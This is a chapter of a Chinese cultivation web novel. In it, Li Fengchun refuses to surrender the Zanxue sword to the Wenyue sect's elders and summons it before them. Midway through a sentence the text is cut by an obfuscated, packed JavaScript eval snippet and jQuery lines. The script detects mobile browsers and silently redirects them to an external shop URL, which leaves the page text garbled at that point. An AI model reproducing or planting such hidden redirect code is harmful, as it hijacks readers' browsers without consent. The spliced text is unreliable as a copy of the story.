“什么!”上官羽谒震惊大喊,“你说李逢春才刚破一重天!”
她不敢置信地围着李逢春转,嘴里还念念有词,“可是她这么厉害,还拔出簪雪剑,我听闻问岳宗想去拿,都没能成功。”
最后她在李逢春面前站定,语气肯定,“你一定是妖兽变得!”
一记爆栗从天而降,上官羽谒吃痛地叫出声,“怎么力道还重了。”
李逢春将双手放于温水之中,骨骼分明的手在水中起伏,白嫩的肌肤慢慢浮现出红色,“若我真是妖兽,那定会在遇到你的那刻,吃掉你。”
“毕竟。”她顿了顿,毛巾擦拭着洗净的双手,垂下的眼眸遮住情绪,叫人看不出话语真假,“想来公主自幼有各种灵药护身,吃了我的功力定然大增。”
“你别吓公主。”和菱拍了拍她的肩,又转身面向上官羽谒,无奈笑道:“她向来如此。”
上官羽谒放下心来,也不再继续这个话题,凑到李逢春身边,微微抬起下巴,道:“不过我已经下定决心,要在凌云宗修炼,谁也劝不动我!”
她紧张地瞥了李逢春,见她没有任何反应,又道:“你不许劝我。”
“我不同意。”毫无起伏的语气中略带丝愠怒,空气中出现若隐若无的异香。
上官羽谒瞪大眼睛,双手叉腰,朝着空中怒吼,“你这是偏见!”
和菱在一旁憋笑,却被隔空而来的声音喊住,“和菱,去给公主收拾床铺。”
上官羽谒眨眨眼,期待如同溪流般将要流出。
“明日再送她下山。”
“我不愿意!”安静不到一秒的上官羽谒顿时炸开,怒气冲冲地提起裙子,冲向扶晖所在之处。
和菱捂着嘴乐呵呵笑起来,“你从哪捡到这么有意思的小女孩?”
李逢春揉揉发胀的太阳穴,缓解些许疲倦,闻言她摊手,“回影洞。”
原想着出了洞后,就把上官羽谒交与师尊处理,谁曾想她用了可以遮蔽踪迹的法器,一路跟着自己来到寝居。
说来师尊理应发现她消失,却还是放任她在自己身边叽叽喳喳吵这么久,这又是何意?
李逢春放松地坐在椅子上,只觉得清静下来真好,也不愿去深究原因。
和菱撑着下巴,若有所思道:“但皇宫里那群人居然放任公主进入试炼境吗?而且还是最不值的回影洞?”
自从看见李逢春从洞里拾回来个镜子,和菱就自然地把回影洞看低了,偌大的洞内就一个法器可拾,想来也没用传闻中那么好。
李逢春倒觉得无所谓,法器多一个总比少一个好,而且能照见隐藏的敌人,对日后的某些处境也有好处。
只是不知为何,从回影洞回来后,她总觉得身体很冷,时不时就要泡下热水,才能缓解那股深入骨髓的冷意。
簪雪剑也好一会儿没说话了,李逢春盯着地面出神,也许得找个机会问一问。
“逢春?”和菱见她半天没反应,故而又喊了一遍,直到看见对方茫然地看向自己,她才继续开口。
“话说回来,你和公主眉眼之间还挺像的。”
第二次听到这种话,李逢春面无表情道:“世上这么多人,总会有相似之处,挺正常。”
“是吗?”和菱嘟囔一句,拾起长剑擦拭,“不过我瞧着她与你挺有缘,真不考虑为她说情?”
李逢春掀起眼帘,淡漠的眼神落在她身上,“宗门内又不是我说得算。”
“说起来,虽然扶晖师尊收你为徒这件事,宗门内已经人尽皆知,但你还没有正式拜师吧?”和菱举起长剑,银色的剑身在阳光下熠熠生辉,她满意地点点头,对上那双丹凤眼。
“扶晖师尊有告诉你何时举行拜师仪式吗?”
李逢春还未来得及开口,熟悉的声音凭空出现。
“李逢春,来趟前殿,不必带上簪雪剑。”
“你去吧,我来替你看簪雪剑。”和菱勾起嘴角,手指在空中轻轻一点,绿色的屏障顺势笼罩在簪雪剑上面,她眨眨眼,“放心,没人拿得走。”
和菱的屏障,李逢春有所耳闻,只有使用者滴一滴心头血,才能解开,所以和菱鲜少会去用。
李逢春吐出口气,把簪雪剑的事先抛之脑后,眼下得先去应付师尊。
随即她看向笑盈盈的和菱,“多谢师姐。”
转身朝前殿走去。
云雾霭霭,悬挂在枝桠上的玉叶探出头来,随风飘来,轻轻落在李逢春的脚边,她瞥了眼,抬手推开门。
前殿的目光齐刷刷落在她身上,李逢春没有给出过多的眼神,迎着目光走到扶晖跟前。
“师尊。”她开口道,忽略掉了那些带有深究的眸光,余光扫到扶晖身旁坐着的上官羽谒。
上官羽谒不似方才那般调皮,平静地坐在那,看上去正经不少,倒像个一国公主。
只是在看见她时,微微勾起嘴角,平淡的脸也柔和了不少。
李逢春垂下眼帘,不再去看。
扶晖颔首,开口道:“你坐那。”
他所指的位置,是在他右手边的下方。
等李逢春坐到位置上后,他又继续,“这二位是问岳宗的长老。”
没有过多的言语,简要介绍了来者,但问岳宗的长老却坐不住了。
“你就是李逢春?”满脸络腮胡的人直视她。
李逢春不卑不亢应答。
那人眼咕噜一转,扬起笑脸道:“是这样的,今日我们问岳宗前来,是想把簪雪剑带回去。”
见她没说话,那人继续:“想来那日我宗门弟子已经跟你说过,簪雪剑是为我们的法器,且簪雪剑灵力强大,很容易让人走火入魔。
我见你才刚入一重天,想来也不愿因此前功尽弃,不如就还给我们,作为弥补,我今日带了把剑,可赠与你。”
说完,他手下的弟子捧着那柄剑走上前来。
那柄剑并没有簪雪剑好看,剑柄由桃花木制成,上面镌刻着仙鹤图纹,隐约间还能看见问岳二字,剑身锋利无比,想来刚磨过不久。
那位弟子态度鄙夷,一脸不屑地想要递给李逢春,见她没有伸手的意思,不耐烦道:“给你就接着。”
他心里面还不满,师尊说了半天话,这人也不接话,也不知当初师兄他们怎么就这么怂,分明只要来硬的,她就会服软嘛。
“我有说要么?”李逢春掀起眼帘,话语又轻又慢,仿佛在聊家常般,但她静静凝视着对方,眼底结起些许寒意,压得那人莫名喘不过气来。
他不敢再看,身体竟开始颤栗。
长老皱起眉头,但依旧好好说道:“可是瞧不上我宗门这把宝剑?也罢,你也可以到我问岳宗挑一挑,看看哪个更趁手。”
李逢春站起身,拍了拍身上不存在的灰,笑意不及眼底,“可我不愿交出簪雪剑呢?”
闻言问岳宗的人脸色骤变,络腮胡的那位长老率先怒斥,“我看你是小辈,才好言相劝,你别不识好歹!自古以来哪有捡到东西不还的道理!”
李逢春“啊”了声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310417|198806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢悠悠道:“长老您张口闭口都是说我捡到的簪雪剑,说这簪雪剑是你们宗门的。”
“那为何数百年来,你们都没去将它拔出,偏偏我来了,才来要呢?是拔不出来吗?还是说……”李逢春拖长尾音,意味深长道:“这剑就不是你们的呢?”
络腮胡长老气得想要拍案而起,却见一只手拦下了他,李逢春看过去,是位满头白发的长老。
他笑眯眯道:“抱歉,是我们唐突了,我姓杨,叫我杨长老即可。”
“李道友所言极是,我们确实没办法证明这把剑属于我们宗门,但是你也没办法证明它是你的吧。”
李逢春挑挑眉,原来是先礼后兵啊,她没有接话,等着对方继续下去。
杨长老顿了顿,笑意淡了些,“古籍中记载,像簪雪剑这样的上古神剑,只有它的主人才能召唤出来。”
“你只需喊一声,就可以证明是不是它的主人。”
他笃定这个小姑娘必然不会成为簪雪剑的主人,就算拔出来又如何,这么厉害的名剑,不可能会认一个黄毛丫头当主人。
届时他只用同扶晖说一声,就能拿走这把剑,如果不是忌惮他,他们早就拿剑走人了,杨辉眼底闪过阴冷,再看过去时,已然又是一副乐呵呵的模样。
“不如试试?”他的嘴角噙着笑。
李逢春将他的神情收入眼底,历经了多少大风大浪,怎会不知他心里想了什么。
神器认主吗?有意思,不知他沉睡了还能不能叫醒,兴许可以试试。
她对上那满是假意的双眼,微微歪头,启唇道:“好啊。”
杨辉皱起眉头,又很快舒展开来,死到临头的嘴硬罢了,再让你蹦几下吧,等离开了簪雪剑,你也就横不起来了。
“请。”他作出动作,特地令递剑的弟子给李逢春腾开地来。
李逢春看了眼上位,扶晖似乎并不在意这场戏,悠然自得泡着茶,上官羽谒也是一副胜券在握,仿佛李逢春必然能赢,只是捏紧的拳头暴露出她的紧张。
她收回视线,神色淡定,外人看来她正在酝酿。
“壹贰弎,打开商城。”她在识海里喊出系统,随后翻阅了下,簪雪剑(劣),六个生命值可以兑换,不过只能使用一个时辰。
这也够了,实在叫不出来就兑换。
她关闭商城后,笑眯眯道:“若是我真叫出来了,你们该给出点什么吧?”
杨辉一噎,与络腮胡交换了眼神,随即道:“那今日之事就是我们问岳宗的不是,你可到我宗门的法器库内,随意挑选一个天级法器。”
法器分为玉、地、天、仙四级,能拿出天级法器作赌,问岳宗也是诚意满满。
李逢春满意点头,“好。”
这样六个生命值也花得值了。
旋即,她张口,淡淡地吐出四个字来,“簪雪剑,归!”
微风拂过她的发丝,茶水泛起片片涟漪,好像一切都没有发生改变。
那弟子等得不耐烦,讥讽道:“别演了,也就能糊弄外行人,你这些小把戏……”
话音未落,一阵凌厉的剑风穿梭过云雾,冲破窗棂,绕过众人,奔向人群中央的少女,速度快到带着的风牵起少女的发带,在空中飘扬。
如青葱般的玉手一把抓住冰莹的剑柄,和那日从地缝中毫不犹豫拔出簪雪剑的力道一样。
“李逢春,我来了。”熟悉的男音含笑,在她的耳畔萦绕,李逢春不自觉勾起一丝微笑。
真好,不用花生命值了。